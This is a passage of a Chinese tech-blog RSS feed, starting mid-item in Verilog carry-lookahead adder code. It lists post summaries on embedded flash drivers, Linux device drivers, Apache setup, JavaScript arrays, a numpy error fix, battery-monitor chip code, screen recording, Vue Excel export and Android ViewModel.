(A[0],B[0],C_in,Y[0],g[0],p[0]); adder_nocarry add1 (A[1],B[1],c[0],Y[1],g[1],p[1]); adder_nocarry add2 (A[2],B[2],c[1],Y[2],g[2],p[2]); adder_nocarry add3 (A[3],B[3],c[2],Y[3],g[3],p[3]); CLA_4bit cla (g,p,C_in,c); assign G = g[3] | (p[3]&amp;amp;g[2]) | (p[3]&amp;amp;p[2]&amp;amp;g[1]) | (p[3]&amp;amp;p[2]&amp;amp;p[1]&amp;amp;g[0]) ; assign P = p[0]&amp;amp;p[1]&amp;amp;p[2]&amp;amp;p[3]; endmodule module CLA_4bit( input [3:0]g,p, input C_in, output [3:0]C ); assign C[0] = g[0] | (p[0]&amp;amp;C_in); assign C[1] = g[1] | (p[1]&amp;amp;g[0]) | (p[0]&amp;amp;p[1]&amp;amp;C_in) ; assign C[2] = g[2] | (p[2]&amp;amp;g[1]) | (p[2]&amp;amp;p[1]&amp;amp;g[0]) | (p[2]&amp;amp;p[1]&amp;amp;p[0]&amp;amp;C_in); assign C[3] = g[3] | (p[3]&amp;amp;g[2]) | (p[3]&amp;amp;p[2]&amp;amp;g[1]) | (p[3]&amp;amp;p[2]&amp;amp;p[1]&amp;amp;g[0]) | (p[3]&amp;amp;p[2]&amp;amp;p[1]&amp;amp;p[0]&amp;amp;C_in) ; endmodule module adder_LKAHD_16bit( input [15:0] A,B, input C_in, output [15:0]S, output GX,PX ); wire [3:0] C,G,P; adder_LKAHD_4bit Add3 (A[15:12],B[15:12],C[2],S[15:12], G[3], P[3]); adder_LKAHD_4bit Add2 (A[11:8], B[11:8], C[1],S[11:8], G[2], P[2]); adder_LKAHD_4bit Add1 (A[7:4], B[7:4], C[0],S[7:4], G[1], P[1]); adder_LKAHD_4bit Add0 (A[3:0], B[3:0], C_in,S[3:0], G[0], P[0]); CLA_4bit cla1 (G,P,C_in,C); assign GX = G[3] | (P[3]&amp;amp;G[2]) | (P[3]&amp;amp;P[2]&amp;amp;G[1]) | (P[3]&amp;amp;P[2]&amp;amp;P[1]&amp;amp;G[0]) ; assign PX = P[0]&amp;amp;P[1]&amp;amp;P[2]&amp;amp;P[3]; endmodule module adder_LKAHD_64bit( input [63:0] A,B, input C_in, output [63:0]S, output C_out ); wire [3:0] C,GX,PX; adder_LKAHD_16bit Add7 (A[63:48], B[63:48], C[2], S[63:48], GX[3], PX[3]); adder_LKAHD_16bit Add6 (A[47:32], B[47:32], C[1], S[47:32], GX[2], PX[2]); adder_LKAHD_16bit Add5 (A[31:16], B[31:16], C[0], S[31:16], GX[1], PX[1]); adder_LKAHD_16bit Add4 (A[15:0], B[15:0], C_in, S[15:0], GX[0], PX[0]); CLA_4bit cla2 (GX,PX,C_in,C); assign C_out = C[3]; endmodule 测试文件</description>
    </item>
    <item>
      <title>芯旺微 chipon 型号KF32A156的flash驱动flash driver放置在ram的操作方式</title>
      <link>https://bchobby.github.io/posts/68097656e19586cd880f1d7ac182265d/</link>
      <pubDate>Tue, 28 Mar 2023 19:26:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68097656e19586cd880f1d7ac182265d/</guid>
      <description>申明：原创扣字不易，转载还请注明源出处 芯旺微 chipon 型号KF32A156的flash驱动flash driver放置在ram的操作方式介绍：&#xA;敲重点 目前很多主机厂对于flash驱动有要求：在平时不需要的时候，并不会将flash擦写函数放在程序中，这样可以防止在单片机异常环境下进行了flash的不当操作导致程序或者数据损坏。故而需要将flash驱动单独拎出来，在需要的时候再拷进去。 针对这个要求，我们可以进行如下操作 1、将flash擦写函数定义好（156的擦写函数是已经封好的，内部我们看不到，151系列目前可以查看），并在主函数中进行引用（防止被优化）。&#xA;2、建立一个数组，将相关的擦写函数进行提取，本质上就是将擦写函数编译生成二进制数复制下来放置在数组中。&#xA;3、创建一个接收usigned int32 类型的空函数指针，注意要加上形参，根据擦写函数实际要传入的参数进行定义。然后再定义两个该类型的空函数，正常都是一个擦，一个写。&#xA;4、将第2步的数组的起始地址赋值给第3步的空函数，这样就完成了以上操作。&#xA;这里要说明的是，在实际的使用中，为了防止异常跑到flash驱动函数里面，这个数组里面的数据并不是长期存储在flash上面，或者ram上面。 下面是图示步骤： 1、flash的驱动函数在默认的库里面，位置如下，一般只需要擦和写的即可。读是可以指针直接获取的。然后在main函数中随便调用一下，防止优化。&#xA;2、编译完成后，我们找到对应的二进制数据&#xA;3、将这些数据提取出来，创建数组，放到数组里面。（这里没有使用通讯传输，客户如果需要通讯测试可自行创建空数组通过通讯的方式将数据发送至数组里面）&#xA;4、创建unsigned int 类型的空函数指针，且附上参数，再将存放数据的数组进行赋值。操作如下图：&#xA;总结：这样我们再调用定义的函数即可实现flash driver的功能啦。&#xA;本文实现已经将程序打包,本人客户可直接向我获取。&#xA;18726993984&#xA;本次更新日期：2023-3-28</description>
    </item>
    <item>
      <title>编写驱动，应用层程序，在应用层通过ioctl控制LED灯流水，当按键KEY1按下让风扇转动</title>
      <link>https://bchobby.github.io/posts/9b89be02fcf4edc8a29e3b1acc1f31c6/</link>
      <pubDate>Tue, 28 Mar 2023 18:58:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b89be02fcf4edc8a29e3b1acc1f31c6/</guid>
      <description>实现过程：&#xA;驱动代码：&#xA;#include &amp;lt;linux/init.h&amp;gt; #include &amp;lt;linux/module.h&amp;gt; #include &amp;lt;linux/of_gpio.h&amp;gt; #include &amp;lt;linux/of_irq.h&amp;gt; #include &amp;lt;linux/interrupt.h&amp;gt; #include &amp;lt;linux/fs.h&amp;gt; #include &amp;lt;linux/uaccess.h&amp;gt; #include &amp;lt;linux/list.h&amp;gt; #include &amp;lt;linux/stddef.h&amp;gt; #include &amp;lt;linux/spinlock.h&amp;gt; #include &amp;lt;asm/current.h&amp;gt; #include &amp;lt;uapi/linux/wait.h&amp;gt; #include &amp;lt;linux/cdev.h&amp;gt; #include &amp;lt;linux/slab.h&amp;gt; #include &amp;lt;linux/poll.h&amp;gt; // 开关灯命令码 #define LED1 _IOW(&#39;a&#39;, 1, int) #define LED2 _IOW(&#39;a&#39;, 2, int) #define LED3 _IOW(&#39;a&#39;, 3, int) struct cdev *cdev; dev_t devno; unsigned int major = 0; // 动态态指定主设备号 unsigned int minor = 0; struct class *cls; struct device *dev; struct device_node *led_node, *interrupt_node, *fnode; // 灯节点,中断节点，灯节点的子节点 struct gpio_desc *gpio_num[4] = {0}; // gpio编号 char *led[4] = {&#34;</description>
    </item>
    <item>
      <title>第一章 Linux系统服务：Apache安装及配置应用</title>
      <link>https://bchobby.github.io/posts/56048809455a63ccbe28b4d2b012f63e/</link>
      <pubDate>Tue, 28 Mar 2023 18:27:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56048809455a63ccbe28b4d2b012f63e/</guid>
      <description>第一章HTTP 1.1http与html 1.2浏览器访问网站的过程 1.3HTTP工作机制&#xA;1.4版本 1.5HTTP方法 1.6.http状态码 1.7请求报文 1.8 响应报文 第二章Apache的简单介绍 1.Apache基础知识 2.Apache配置文件位置 三.LAMP架构 1.LAMP平台概述 2.LAMP各组件主要作用 3.构建LAMP平台顺序 四.Apache的三种工作模式 1. prefork模式（默认模式） 2. worker模式 3. event模式 五.LAMP架构与搭建论坛实验 实验准备：将所需软件安装包下载到/opt目录下、关闭防火墙、配置本地yum源仓库（此处已安装不再演示） 第一章HTTP 1.1http与html HTTP：为解决&#34;用什么样的网络协议来实现整个因特网上的万维网文档”这一难题，就要使万维网客户程序（以浏览器为主，但不限于浏览器）与万维网服务器程序之间的交互遵守严格的协议，即超文本传送协议（HyperText Transfer Protocol）。HTTP是处于应用层的协议，使用TCP传输层协议进行可靠的传送。因此，需要特别提醒的是，万维网是基于因特网的一种广泛因特网应用系统，且万维网采用的是HTTP（80/TCP）和 HTTPS（443/TCP）的传输协议，但因特网还有其他的网络应用系统（如：FTP、SMTP等等）。&#xA;HTML：为了解决&#34;怎样使不同作者创作的不同风格的万维网文档，都能在因特网上的各种主机上显示出来，同时使用户清楚地知道在什么地方存在着链接”这一问题，万维网使用超文本标记语言（HyperText Markup Language），使得万维网页面的设计者可以很方便地用链接从页面的某处链接到因特网的任何一个万维网页面，并且能够在自己的主机品目上将这些页面显示出来。HTML与txt一样，仅仅是是一种文档，不同之处在于，这种文档专供于浏览器上为浏览器用户提供统一的界面呈现的统一规约。且具备结构化的特征，这是txt所不具备的强制规定&#xA;1.2浏览器访问网站的过程 一次完整的http请求处理过程&#xA;1.建立连接&#xA;2.接收请求，接收客户端请求报文中对某项资源的一次请求的过程&#xA;3.处理请求，解析，得到处理方法&#xA;4.访问资源。&#xA;5.构建响应报文（响应实体，url重定向，mime类型）&#xA;6.发送响应报文&#xA;7.记录日志&#xA;1.3HTTP工作机制 Web资源：web resource， 一个网页由多个资源（文件）构成，打开一个页面，通常会有多个资源展示出来，但是每个资源都要单独请求。因此，一个&#34;Web 页面”通常并不是单个资源，而是一组资源的集合&#xA;资源类型：&#xA;静态文件：无需服务端做出额外处理,服务器端和客户端的文件内容相同&#xA;文件后缀：.html, .txt, .jpg, .js, .css, .mp3, .avi 动态文件：服务端执行程序，返回执行的结果,服务器端和客户端的文件内容不相同&#xA;文件后缀：.php, .jsp ,.asp 提高HTTP连接性能&#xA;并行连接：通过多条TCP连接发起并发的HTTP请求&#xA;持久连接：keep-alive，重用TCP连接，以消除连接和关闭的时延,以事务个数和时间来决定是否关闭连接&#xA;管道化连接：通过共享TCP连接，发起并发的HTTP请求&#xA;复用的连接：交替传送请求和响应报文（实验阶段）&#xA;1.4版本 0.9/http 只能下载</description>
    </item>
    <item>
      <title>Linux Web服务</title>
      <link>https://bchobby.github.io/posts/fb62cfce91027744246db2f588fae782/</link>
      <pubDate>Tue, 28 Mar 2023 17:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb62cfce91027744246db2f588fae782/</guid>
      <description>Web服务 Web服务是Internet应用最流行，最受欢迎的服务之一。它是实现信息发布、资料查询、数据处理、网络办公和远程教育的平台。&#xA;一、Web服务简介 Web服务器也称为WWW服务器，主要功能是提供网上信息浏览服务。WWW代表万维网，WWW是Internet的多媒体信息查询工具。起源于1989年3月，由欧洲量子物理实验室CERN（the European Laboratory for Particle Physics）发展出来的主从结构分布式超媒体系统。通过万维网，人们只要使用简单的方法，就可以和迅速、方便地去的丰富的信息资料。&#xA;目前的常用的Web服务器有以下几种：&#xA;1、Microsoft IIS&#xA;IIS（Internet Information Services，互联网信息服务）是由微软公司提供的基于Windows平台的互联网基本服务。是目前流行的Web服务器产品之一。&#xA;2、IBM WebSphere&#xA;WebSpahere（WebSpahere Application Server）是IBM公司推出的一种功能完善、开放的WEB应用程序服务器，基于Java的应用环境。&#xA;3、Apache&#xA;Apache（Apache HTTP Server）是一种开放源码的Web服务器软件，可在大多数的操作系统中运行，由于其多平台和安全性被广泛应用。它快速、可靠并且可通过简单的API扩充，将Perl/Python等解释器编译到服务器中。是目前流行的Web服务器产品之一。&#xA;4、Tomcat&#xA;Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为比较流行的Web 应用服务器&#xA;5、Nginx&#xA;Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器，同时也提供了IMAP/POP3/SMTP服务。Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like 协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力在同类型的网页服务器中表现较好。因它的稳定性、丰富的功能集、简单的配置文件和低系统资源的消耗而闻名，是目前流行的Web服务器软件之一。&#xA;二、Apache概述 Apache是一种开放源代码的Web服务器软件。因其具有良好的跨平台和安全特性，目前几乎是主流Unix、Linux和BSD系统（如FreeBSD）选用的唯一Web服务器软件。&#xA;Apache服务器具有下列功能特性：&#xA;（1）简单、速度快、性能稳定、可配置。&#xA;（2）静态与动态内容支持。Apache同时支持静态和动态内容。动态内容是由一组相关技术提供的，其中包括SSI、CGI、PHP、Perl以主服务器API等。&#xA;（3）模块支持。采用模块化的定制方式，能够动态扩展Apache服务器的功能。软件模块可以直接连接到核心服务器程序，或根据需要动态加载到服务器中。&#xA;（4）支持SSL和虚拟主机。采用基于主机名或基于IP地址的虚拟主机技术与概念，利用单个或多个IP地址同时支持多个网站，同时利用SSL支持HTTPS。&#xA;（5）日志。Apache具有完整的日志功能，能够定义信息记录的级别，能够把客户机的请求和服务器的相应信息详细地记录到日志文件中。方便管理员用专门程序分析日志文件，收集服务器的使用统计信息。&#xA;（6）支持用户认证机制。在访问重要资源前，需要先通过用户和密码认证。&#xA;三、Apache服务实践 案例1：&#xA;某公司新购一台服务器，服务器上已安装Linux操作系统，现要求将服务器配置成Apache服务器，为公司员工提供基本Web服务。具体要求如下:&#xA;（1）启用默认WEB服务的根目录/var/www/html，默认首页为index.html，内容为“Welcome to www.test.com”，使用IP地址和域名均可访问。&#xA;（2）在Apache服务器中创建名为/vfolder的虚拟目录，它对应的物理路径是/var/tfolder，虚拟目录默认首页为default.html，内容为“Welcome to www.test.com/vfolder”。&#xA;（1）启用默认WEB服务的根目录/var/www/html，默认首页为index.html，内容为“Welcome to www.test.com”，使用IP地址和域名均可访问。&#xA;1、实验环境 角色主机名操作系统网卡IP地址备注web服务器webserver.gc.comCentOS7.4vmnet1（仅主机）192.168.92.11虚拟机web客户端webclient.gc.comCentOS7.4vmnet1（仅主机）192.168.92.101虚拟机 2、环境准备 web服务器&#xA;[root@localhost ~]# cat /etc/sysconfig/network-scripts/ifcfg-ens32 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none IPADDR=192.</description>
    </item>
    <item>
      <title>Javascript操作数组</title>
      <link>https://bchobby.github.io/posts/eae78eadcc1dd687af855bffb44e13d7/</link>
      <pubDate>Tue, 28 Mar 2023 17:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eae78eadcc1dd687af855bffb44e13d7/</guid>
      <description>目录 一、数组方法1.join() 数组 =&amp;gt; 字符串2.push() 数组末尾添加元素，并且返回长度3.pop() 删除数组的最后一个元素并返回删除的元素。4.shift() 删除数组的d第一个元素并返回删除的元素。5.unshift() 数组头部添加元素，并且返回长度6.sort() 数组排序7.reverse() 翻转整个数组并且改变原数组8.concat() 合并数组（不改变原数组并返回新的数组）9.slice() 截取数组（不改变原数组并返回新的数组）10.splice() 删除数组元素11.indexOf() lastIndexOf() 查找数组元素12.forEach()13.map() 返回一个新数组 为原始数组元素`调用函数处理`后的值14.filter() 返回一个新数组 为满足`过滤条件`的值15.every() 返回一个布尔值 所以项满足才为`true`,否则`false`16.some() 返回一个布尔值 有一项满足就为`true`,否则`false`17.includes() 返回一个布尔值 一个数组是否包含一个指定的值18.reduce() 迭代数组的所有项，构建一个`最终返回`的值19.flat() 和 flatMap() es6 新增 HTML 指的是超文本标记语言 (Hyper Text Markup Language)是用来描述网页的一种标记语言，而不是编程语言。&#xA;一、数组方法 1.join() 数组 =&amp;gt; 字符串 对应字符串=&amp;gt;数组 split()&#xA;var arr = [1,2,3]; console.log(arr.join(&#34;-&#34;)); // 1-2-3 2.push() 数组末尾添加元素，并且返回长度 3.pop() 删除数组的最后一个元素并返回删除的元素。 var arr = [1,2,3]; console.log(arr.pop()); // 3 4.shift() 删除数组的d第一个元素并返回删除的元素。 var arr = [1,2,3]; console.log(arr.shift()); // 1 5.</description>
    </item>
    <item>
      <title>Python Numpy loaded morethan1 DLL from .libs 报错解决方案</title>
      <link>https://bchobby.github.io/posts/08fa7ff222e51395ce57abff97617b59/</link>
      <pubDate>Tue, 28 Mar 2023 15:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08fa7ff222e51395ce57abff97617b59/</guid>
      <description>Python Numpy loaded morethan1 DLL from .libs 报错解决方案 前言错误记录解决方案1解决方案2 鸣谢 前言 装Pytorch环境的时候遇到两个错误记录一下.&#xA;错误记录 C:\Users txsimoson Anaconda3 envs env ovthon 37 lib site-packages numpyl distributor initpy:32: UserWarning; loaded morethan1 DLL from .libs: C:\Uers txsimpson Anaconda3envs env python 3.7 lib site-packages numpyl. ibs libopenblas,YOHXLWVO7VESDPUVUADXEVJ0BGHIPAY.gfortran-win amd64.d11 C:\Users tximoson Anaconda3 envs env pvthon 3.7 lib site-packaees numov ,libs libopenblas,MCDJNK7WMPZ02ME277HJJRJ3JIKNDB7.efortran-win amd64.dll stacklevel=1) 核心问题是&#xA;UserWarning; loaded morethan1 DLL from .libs:&#xA;解决方案1 重装numpy包&#xA;pip uninstall numpy pip install numpy pip install --upgrade numpy 解决方案2 找到Python路径下的Lib\site-packages\numpy\.</description>
    </item>
    <item>
      <title>ADBMS1818菊花链通信</title>
      <link>https://bchobby.github.io/posts/a3812bd5f0af5483e16c113f7e6a8102/</link>
      <pubDate>Tue, 28 Mar 2023 14:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3812bd5f0af5483e16c113f7e6a8102/</guid>
      <description>ADBMS1818是一款多通道电池堆监控器，可测量多 达18串电池电压，总测量误差(TME)小于3.0 mV。ADBMS1818具有0V至5V的电池测量范围，适合大多数电池应用。可在290 μs内完成所有18个电池电压测量，并可以选择较低的数据采集速率以实现高降噪抑制。&#xA;当电芯数高于18时，可将多个ADBMS1818器件串联，以便同时监测更长 串的高压电池组。每个ADBMS1818都有一个isoSPITM 接口，用于实高速抗干扰局域通信。多个器件以菊 花链形式连接，通过最顶端或底端的器件连接到主 处理器。该菊花链可双向操作，即使通信路径出错，也能确保通信完整性。&#xA;ADBMS1818引脚图：&#xA;ADBMS1818串联菊花链通信电路可采用容性耦合isoSPI，电路图如下：&#xA;同时，ADBMS1818的9个GPIO可以有用来采集电芯温度，S引脚可用来控制被动均衡电路中的MOS管开关。通过软件去配置1818的寄存器进行初始化，再通过发相关指令去读取电芯电压，具体的bsp层驱动可在官网上下载，&#xA;下载地址:ADBMS1818 Datasheet and Product Info | Analog Devices.&#xA;首先初始化1818的相关寄存器&#xA;在官网上下载完成后，在这两个文件夹中的.C\.H都是1818相关的底层驱动，找到配置CFGAR\CFGBR的函数，进行初始化。&#xA;#define TOTAL_IC 3 //1818串联个数 static cell_asic BMS_IC[TOTAL_IC]; void ADBMS1818_Task_Init(void) {&#x9;ADBMS1818_Reg_Param_Init(); Status_Param_Init(); ADBMS1818_init_cfg(TOTAL_IC, BMS_IC); ADBMS1818_init_cfgb(TOTAL_IC, BMS_IC); ADBMS1818_set_cfg_reg(); ADBMS1818_reset_crc_count(TOTAL_IC, BMS_IC); ADBMS1818_init_reg_limits(TOTAL_IC, BMS_IC); } TOTAL_IC就是ADBMS1818串联的个数，用到多少个，修改宏定义即可；BMS_IC是缓存cell数据的结构体，类型为cell_asic，在官网下载的文件中可找到。&#xA;初始完寄存器后，通过数据手册的命令，触发1818ADC转换，以及读取电压值。&#xA;#define ADBMS1818_CHIP_MAX_CELL_CHANNELS 18 void ADBMS1818_Sample_Task(void) { #define TASKE_TIME120MS 80 #define TASKE_TIME10MS 20 static T_Sample_Status tADBMS1818Sampling = BIO_TASK_IDLE; static u32 SampleTaskTicker = 0; static u8 TaskTime = TASKE_TIME10MS; E_Bool eState = False; u8 nIc = 0; eState = Ticker_Out(&amp;amp;SampleTaskTicker, (u32)TaskTime);&#x9;if(True == eState) { Ticker_Out(&amp;amp;SampleTaskTicker, 0); switch (tADBMS1818Sampling) { case BIO_TASK_IDLE: //初始化寄存器 ADBMS1818_Wakeup_Sleep(TOTAL_IC); Confirm_Ref_On(); Check_Reg_Data(0xFFu); tADBMS1818Sampling = BIO_BAT_MEAS_CMD;&#x9;break;&#x9;case BIO_BAT_MEAS_CMD: //发生ADC转换命令 ADBMS1818_Wakeup_Sleep(TOTAL_IC); ADBMS1818_adcv(ADC_CONVERSION_MODE, ADC_DCP, CELL_CH_TO_CONVERT); tADBMS1818Sampling = BIO_BAT_WAIT; break; case BIO_BAT_WAIT: tADBMS1818Sampling = BIO_BAT_RD; break; case BIO_BAT_RD://读取电压 ADBMS1818_Wakeup_Sleep(TOTAL_IC); ADBMS1818_rdcv(SEL_ALL_REG, TOTAL_IC, BMS_IC); tADBMS1818Sampling = BIO_TASK_IDLE;&#x9;for (nIc = 0; nIc &amp;lt; TOTAL_IC; nIc++) { memcpy(&amp;amp;tAdbms1818InfoBuf[nIc].</description>
    </item>
    <item>
      <title>简单两招教会您，电脑怎么录屏</title>
      <link>https://bchobby.github.io/posts/833df562b0564256f44d4464f9ee505f/</link>
      <pubDate>Tue, 28 Mar 2023 13:53:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/833df562b0564256f44d4464f9ee505f/</guid>
      <description>案例：不会电脑录屏，电脑录屏难不难？ “从来没有尝试过电脑录屏，但是工作上确实有很多东西需要对电脑进行屏幕录制，所以想要学习如何录制电脑屏幕。有小伙伴知道电脑怎么录屏吗？难不难呀，有没有简单的方法？”&#xA;在日常工作和学习中，电脑录屏已经成为了一种非常常见的操作。如果您需要在屏幕上进行展示或演示操作，录屏能够让您更加直观地展示您的思路和操作过程。电脑怎么录屏？接下来小编将介绍两种简单的方法，帮助您轻松地录制电脑屏幕。&#xA;一、电脑录屏难不难 很多电脑小白觉得电脑上录屏是一件很复杂、很难的事情。电脑录屏怎么录？其实电脑录屏很简单，我们可以借助电脑录屏工具轻松对电脑屏幕进行录制。下文是两种有手就能学会的方法，快来看看吧！&#xA;二、电脑怎么录屏（教您两招） 电脑录屏工具有很多，今天小编针对两种录制需求，分别给大家带来了数据蛙录屏软件和QQ录屏这两种电脑录屏工具。&#xA;如果您比较注重录屏的质量、想要录制清晰、精美的录屏文件可以了解下文的第1招；如果您只想简单录制、不要在意录屏的质量，可以了解第2招。&#xA;电脑录屏第1招、使用数据蛙录屏软件 数据蛙录屏软具有简单易用、功能全面、录制稳定等特点。&#xA;温馨提示：数据蛙录屏软件绝大部分功能免费，免费的功能可以满足日常录制需求。&#xA;使用数据蛙录屏软件解决电脑怎录屏（推荐指数★★★★☆）&#xA;步骤1.电脑怎么录屏Win10？在您的Win10电脑上下载数据蛙录屏软件。&#xA;步骤2.选择“视频录制”模式，录制前可以如下图所示从左到右进行基础的录屏设置；如需进一步设置，可以点击下图按钮进入【设置】页面。&#xA;备注：这里以“视频录制”为例进行操作，其他录制模式的操作逻辑大致相同。&#xA;步骤3.点击REC按钮进行录制，录制结束后，可以对视频进行剪辑，需要点击“完成”按钮结束录制。&#xA;电脑录屏第2招、使用QQ录屏 QQ录屏只是QQ这个应用附带的功能，不需要专门再下载一个软件，使用起来比较方便。但是它存在以下缺点：&#xA;不能录摄像头、不能录制多种格式的视频；录屏画质很差，录屏观看体验差；录制不稳定；功能太少，仅适合最基础的录制。 使用QQ录屏解决电脑怎么录屏（推荐指数★★☆☆☆）&#xA;点击电脑桌面上的QQ，登录账号；按下Ctrl+Alt+S这3个键，直接打开QQ录屏功能；调整录制的内容，开始录制。 看了上述关于电脑怎么录屏的小妙招，您是不是已经学会了电脑录屏的方法了呢？下面小编再给大家补充一下电脑录屏常见的问题。&#xA;电脑怎么录屏并保存？录制完成之后，数据蛙录屏软件会自动保存文件（您可以在【设置】页面，自定义文件保存的路径）。QQ录屏结束之后您可以选择直接保存文件，或者另存到其他位置。&#xA;电脑怎么录屏截图？在录屏过程中，点击“相机”图标，数据蛙录屏软件可以对录屏的任何一帧进行截图，而QQ录屏不具有此功能。因此需要此功能的小伙伴，可以选择数据蛙录屏软件。&#xA;本文介绍了两种方法来录制电脑屏幕，分别是使用数据蛙录屏软件和QQ录屏。电脑怎么录屏？数据蛙录屏软件和QQ录屏都是比较好用的录屏软件，它们都具有操作简单、功能齐全等特点。但是，从使用体验和录制效果上来看，数据蛙录屏软件更加稳定，推荐大家使用数据蛙录屏软件来录制电脑屏幕。&#xA;往期回顾：&#xA;电脑自带录屏怎么使用？教您2招，快速搞定&#xA;3种笔记本录快捷键分享&#xA;苹果电脑录屏，掌握这两种方法就足够</description>
    </item>
    <item>
      <title>vue&#43;element UI Excel导入导出</title>
      <link>https://bchobby.github.io/posts/9937032c303d4ab68d0c12077d560af3/</link>
      <pubDate>Tue, 28 Mar 2023 13:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9937032c303d4ab68d0c12077d560af3/</guid>
      <description>1.终端执行命令 npm i xlsx -s 2.script中导入 import FileSaver from &#34;file-saver&#34;; import * as XLSX from &#34;xlsx&#34;; 3.单表头效果图 4.html代码： &amp;lt;div&amp;gt; &amp;lt;el-upload action=&#34;https://bchobby.github.io/上传文件的接口&#34; :on-change=&#34;onChange&#34; :auto-upload=&#34;false&#34; :show-file-list=&#34;false&#34; accept=&#34;.xls, .xlsx&#34; ref=&#34;upload&#34; :multiple=&#34;true&#34;&amp;gt; &amp;lt;el-button type=&#34;warning&#34; icon=&#34;el-icon-folder-add&#34;&amp;gt; 导入 &amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;el-button @click=&#34;exportClick&#34; type=&#34;primary&#34; icon=&#34;el-icon-folder-opened&#34; class=&#34;export&#34;&amp;gt; 导出 &amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;table&#34;&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; border style=&#34;width: 100%&#34; id=&#34;mainTable&#34;&amp;gt; &amp;lt;el-table-column v-for=&#34;item in tableHeader&#34; :key=&#34;item.id&#34; :prop=&#34;item.prop&#34; :label=&#34;item.label&#34; align=&#34;center&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column label=&#34;操作&#34; align=&#34;center&#34; min-width=&#34;200px&#34; fixed=&#34;right&#34;&amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;span @click=&#34;edit(scope.row.id)&#34; class=&#34;</description>
    </item>
    <item>
      <title>ViewModel - Mark</title>
      <link>https://bchobby.github.io/posts/c34321088228b153e9491529c5029c92/</link>
      <pubDate>Tue, 28 Mar 2023 10:23:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c34321088228b153e9491529c5029c92/</guid>
      <description>ViewModel 1. 是什么？2. 有什么作用？3. 为什么可以管理UI数据？4. 为什么可以用作Aty-Fgm间通信？5. 为什么横竖屏切换后仍然保持同一对象？5.1 研究 ViewModelProvider获取ViewModel流程5.2 研究 getLastNonConfigurationInstance 流程5.3 研究 Activity.mLastNonConfigurationInstances数据来源5.4 研究横竖屏切换下通过ActivityClientRecord缓存数据ViewModelStore的详情5.5. 总结 6. 生命周期管理6.1 正常构建6.2 横竖屏切换6.3 用户back键退出 1. 是什么？ ViewModel 类是一种业务逻辑或屏幕级状态容器。它用于将状态公开给界面，以及封装相关的业务逻辑。 它的主要优点是，它可以缓存状态，并可在配置更改后持久保留相应状态。这意味着在 activity 之间导航时或进行配置更改后（例如旋转屏幕时），界面将无需重新提取数据。&#xA;2. 有什么作用？ 管理UI数据；发生横竖屏切换时仍能保持唯一，避免重复请求数据；Activity - Fragment 间通信 （ViewModel + LiveData）； 3. 为什么可以管理UI数据？ ViewModel + LiveData + ViewBinding，支持在ViewModel中请求数据并做逻辑处理，之后通过LiveData将数据更新通知给ViewBinding，ViewBinding收到数据刷新消息之后刷新UI。 4. 为什么可以用作Aty-Fgm间通信？ 通过ViewModelProvider指定一个Activity构建出来的ViewModel，在Activity生命周期内是唯一的（横竖屏切换后也能保持唯一）&#xA;Activity 会实现 ViewModelStoreOwner 的 getViewModelStore 返回 ViewModelStore，ViewModelStore内部有HashMap用于保存在Activity作用域下构建的ViewModel；通过ViewModelProvider获取ViewModel，会先向Activity获取ViewModelStore，然后通过ViewModel的类名作为key从HashMap容器中检查是否存在该ViewModel对象，有就直接拿出来用，没有就通过工厂新建；因此，通过ViewModelProvider获得的Activity的ViewModel，在作用域生命周期内是唯一的（包括横竖屏切换） 5. 为什么横竖屏切换后仍然保持同一对象？ ViewModel 类是一种屏幕级状态容器，即使发生横竖屏切换导致Activity重建，ViewModel都能保持唯一，为什么？猜测是Framework层针对Activity作用域下的全体ViewModel进行了缓存，那是逐个将ViewModel缓存吗？显然不是，通过缓存作用域的ViewModelStore是更好的选择。&#xA;下面就来研究怎么个缓存法：&#xA;5.1 研究 ViewModelProvider获取ViewModel流程 ViewModelProvider获取ViewModel方式 mainViewModel = ViewModelProvider(MainActivity.this).get(MainViewModel::class.java) ViewModelProvider 构造函数 public ViewModelProvider(@NonNull ViewModelStoreOwner owner) { this(owner.</description>
    </item>
    <item>
      <title>总结 | 神经网络训练不收敛或训练失败的原因</title>
      <link>https://bchobby.github.io/posts/5f7f7cc7de5d8cc0135a017404dcc516/</link>
      <pubDate>Tue, 28 Mar 2023 10:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f7f7cc7de5d8cc0135a017404dcc516/</guid>
